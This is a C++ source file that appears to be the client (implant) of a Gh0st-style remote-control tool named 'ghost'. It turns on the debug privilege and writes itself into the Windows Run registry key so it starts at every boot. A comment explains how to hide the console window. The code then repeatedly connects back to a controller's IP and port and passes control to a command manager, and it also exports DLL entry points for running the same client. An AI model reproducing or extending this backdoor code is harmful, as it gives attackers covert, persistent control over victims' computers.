227 lines
4.9 KiB
C++
227 lines
4.9 KiB
C++
// ClientDll.cpp : Defines the entry point for the DLL application.
|
||
//
|
||
|
||
#include "stdafx.h"
|
||
#include "Common.h"
|
||
#include "IOCPClient.h"
|
||
#include <IOSTREAM>
|
||
#include "LoginServer.h"
|
||
#include "KernelManager.h"
|
||
using namespace std;
|
||
|
||
// 自动启动注册表中的值
|
||
#define REG_NAME "a_ghost"
|
||
|
||
// 远程地址
|
||
CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "", 0, CLIENT_TYPE_ONE};
|
||
|
||
// 应用程序状态(1-被控端退出 2-主控端退出 3-其他条件)
|
||
BOOL g_bExit = 0;
|
||
// 工作线程状态
|
||
BOOL g_bThreadExit = 0;
|
||
|
||
HINSTANCE g_hInstance = NULL;
|
||
DWORD WINAPI StartClient(LPVOID lParam);
|
||
|
||
#if _CONSOLE
|
||
|
||
enum { E_RUN, E_STOP } status;
|
||
|
||
//提升权限
|
||
void DebugPrivilege()
|
||
{
|
||
HANDLE hToken = NULL;
|
||
//打开当前进程的访问令牌
|
||
int hRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
|
||
|
||
if (hRet)
|
||
{
|
||
TOKEN_PRIVILEGES tp;
|
||
tp.PrivilegeCount = 1;
|
||
//取得描述权限的LUID
|
||
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
|
||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||
//调整访问令牌的权限
|
||
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
|
||
|
||
CloseHandle(hToken);
|
||
}
|
||
}
|
||
|
||
/**
|
||
* @brief 设置本身开机自启动
|
||
* @param[in] *sPath 注册表的路径
|
||
* @param[in] *sNmae 注册表项名称
|
||
* @return 返回注册结果
|
||
* @details Win7 64位机器上测试结果表明,注册项在:\n
|
||
* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
|
||
* @note 首次运行需要以管理员权限运行,才能向注册表写入开机启动项
|
||
*/
|
||
BOOL SetSelfStart(const char* sPath, const char* sNmae)
|
||
{
|
||
DebugPrivilege();
|
||
|
||
// 写入的注册表路径
|
||
#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
|
||
|
||
// 在注册表中写入启动信息
|
||
HKEY hKey = NULL;
|
||
LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
|
||
|
||
// 判断是否成功
|
||
if (lRet != ERROR_SUCCESS)
|
||
return FALSE;
|
||
|
||
lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
|
||
|
||
// 关闭注册表
|
||
RegCloseKey(hKey);
|
||
|
||
// 判断是否成功
|
||
return lRet == ERROR_SUCCESS;
|
||
}
|
||
|
||
// 隐藏控制台
|
||
// 参看:https://blog.csdn.net/lijia11080117/article/details/44916647
|
||
// step1: 在链接器"高级"设置入口点为mainCRTStartup
|
||
// step2: 在链接器"系统"设置系统为窗口
|
||
// 完成
|
||
|
||
BOOL CALLBACK callback(DWORD CtrlType)
|
||
{
|
||
if (CtrlType == CTRL_CLOSE_EVENT)
|
||
{
|
||
g_bExit = true;
|
||
while (E_RUN == status)
|
||
Sleep(20);
|
||
}
|
||
return TRUE;
|
||
}
|
||
|
||
int main(int argc, const char *argv[])
|
||
{
|
||
if (!SetSelfStart(argv[0], REG_NAME))
|
||
{
|
||
std::cout << "设置开机自启动失败,请用管理员权限运行.\n";
|
||
}
|
||
|
||
status = E_RUN;
|
||
|
||
HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe");
|
||
if (ERROR_ALREADY_EXISTS == GetLastError())
|
||
{
|
||
CloseHandle(hMutex);
|
||
return -2;
|
||
}
|
||
|
||
SetConsoleCtrlHandler(&callback, TRUE);
|
||
if (argc>=3)
|
||
{
|
||
g_SETTINGS.SetServer(argv[1], atoi(argv[2]));
|
||
}
|
||
if (strlen(g_SETTINGS.ServerIP())==0|| g_SETTINGS.ServerPort()<=0) {
|
||
printf("参数不足: 请提供远程主机IP和端口!\n");
|
||
Sleep(3000);
|
||
return -1;
|
||
}
|
||
printf("[server] %s:%d\n", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
|
||
|
||
do{
|
||
g_bExit = 0;
|
||
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
|
||
|
||
WaitForSingleObject(hThread, INFINITE);
|
||
CloseHandle(hThread);
|
||
}while (E_RUN == status && 1 != g_bExit);
|
||
|
||
status = E_STOP;
|
||
|
||
CloseHandle(hMutex);
|
||
return 0;
|
||
}
|
||
#else
|
||
|
||
BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
||
DWORD ul_reason_for_call,
|
||
LPVOID lpReserved
|
||
)
|
||
{
|
||
switch (ul_reason_for_call)
|
||
{
|
||
case DLL_PROCESS_ATTACH:
|
||
case DLL_THREAD_ATTACH:
|
||
{
|
||
g_hInstance = (HINSTANCE)hInstance;
|
||
|
||
break;
|
||
}
|
||
case DLL_PROCESS_DETACH:
|
||
break;
|
||
}
|
||
return TRUE;
|
||
}
|
||
|
||
// 启动运行一个ghost
|
||
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
||
{
|
||
g_bExit = FALSE;
|
||
g_SETTINGS.SetServer(szServerIP, uPort);
|
||
g_SETTINGS.SetType(CLIENT_TYPE_DLL);
|
||
|
||
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
|
||
if (hThread == NULL) {
|
||
return;
|
||
}
|
||
#ifdef _DEBUG
|
||
WaitForSingleObject(hThread, 200);
|
||
#else
|
||
WaitForSingleObject(hThread, INFINITE);
|
||
#endif
|
||
CloseHandle(hThread);
|
||
}
|
||
|
||
// 停止运行
|
||
extern "C" __declspec(dllexport) void StopRun() { g_bExit = true; }
|
||
|
||
// 是否成功停止
|
||
extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; }
|
||
|
||
// 是否退出客户端
|
||
extern "C" __declspec(dllexport) BOOL IsExit() { return g_bExit; }
|
||
|
||
#endif
|
||
|
||
DWORD WINAPI StartClient(LPVOID lParam)
|
||
{
|
||
IOCPClient *ClientObject = new IOCPClient();
|
||
|
||
g_bThreadExit = false;
|
||
while (!g_bExit)
|
||
{
|
||
DWORD dwTickCount = GetTickCount64();
|
||
if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
|
||
{
|
||
for (int k = 500; !g_bExit && --k; Sleep(10));
|
||
continue;
|
||
}
|
||
//准备第一波数据
|
||
SendLoginInfo(ClientObject, GetTickCount64()-dwTickCount, g_SETTINGS.ClientType());
|
||
|
||
CKernelManager Manager(ClientObject);
|
||
bool bIsRun = 0;
|
||
do
|
||
{
|
||
Sleep(200);
|
||
|
||
bIsRun = ClientObject->IsRunning();
|
||
|
||
} while (bIsRun && ClientObject->IsConnected() && !g_bExit);
|
||
}
|
||
|
||
cout<<"StartClient end\n";
|
||
delete ClientObject;
|
||
g_bThreadExit = true;
|
||
|
||
return 0;
|
||
}
|